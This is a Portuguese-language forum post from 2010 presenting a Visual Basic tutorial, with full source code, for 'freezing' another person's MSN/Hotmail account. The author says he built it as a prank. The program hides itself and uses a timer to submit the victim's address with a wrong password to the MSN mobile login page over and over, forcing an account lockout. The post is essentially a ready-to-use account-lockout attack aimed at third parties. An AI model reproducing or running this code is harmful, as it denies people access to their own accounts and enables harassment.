Forum ViSiBLe

Bem Vindo
Se registrares neste fórum, podes fazer parte da nossa comunidade.Prezamos aqui pela participação ACTIVA de cada membro.


Atençao: Nao precisa Confirma a sua conta no hotmail (Basta Registrar e Começar a participar do forum.)

WWW.FORUMVISIBLE.COM

Temos vagas na STAFF !! Clique Aqui!

[Tutorial] Fazendo o MSN travar Freezer

Compartilhe
avatar
MrViSiBLe
Administrador
Administrador

Número de Mensagens : 3768
Idade : 24
Localização : Cuiaba
Agradecimentos Agradecimentos : 864
Data de inscrição : 10/12/2008

[Tutorial] Fazendo o MSN travar Freezer

Mensagem por MrViSiBLe em Ter 20 Jul 2010 - 21:38

Ola pessoal, sou novato no forum

Fiz esse project por sacanagem!

"Oque se pretende com esse Programa"
-Fazer a conta do Hotmail Travar Freezer que impossibilita a pessoa usar ela!

"Oque vc tem que ter para se fazer esse Programa"
-Para esse Tutorial usaremos o Visual Basic 2008


Ok, vomos trabalhar!

1-Abra o Visual Basic 2008
2-Inicia um novo project e escolha qualquer nome
3-Criaremos um textbox
4-Criaremos um checkbox com nome de "Hide"
5-Criaremos 2 buttons um com texto "Freeze e outro com Texto Unfreeze"
6-Criaremos um webbrowser com visible set FALSE e colocaremos a url:http://mobile.msn.com/hm/folder.phpx
7-Criaremos 3 label -o primeiro com texto "MSN Adress", Segundo com Texto Status" e o terceiro deixaremos sem nada! (Nada mesmo)
8-Criaremos um timer e deixaremos ele FALSE e Interval colocaremos 100 caso o seu nao esteja assim por padrao

Depois clicaremos 2 vezes em Form, e usaremos o Codigo abaixo!

remova todo o codigo e mude por esse!!

Código:

Imports System.Threading.Thread
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
Label3.Text = "Freezing..."
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error GoTo errordetected
WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
Sleep(2000)
WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")
TextBox2.Text = Val(TextBox2.Text) + Val("4")
If TextBox2.Text = "20" Then
Label2.Text = "Frozen!"
End If
GoTo done
errordetected:
Label2.Text = "Frozen!"
WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Label3.Text = "Ready"
MsgBox("MSN UnFrozen!")
Timer1.Enabled = False
End Sub

Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
If CheckBox1.Checked = True Then
Me.Hide()
End If
End Sub
End Class


[Você precisa estar registrado e conectado para ver esta imagem.]
Download: [Você precisa estar registrado e conectado para ver este link.]
Enjoy! aproveite!!!

Comente! critique! Pergunte!!

Bom dia a todos.

    Data/hora atual: Seg 21 Ago 2017 - 15:45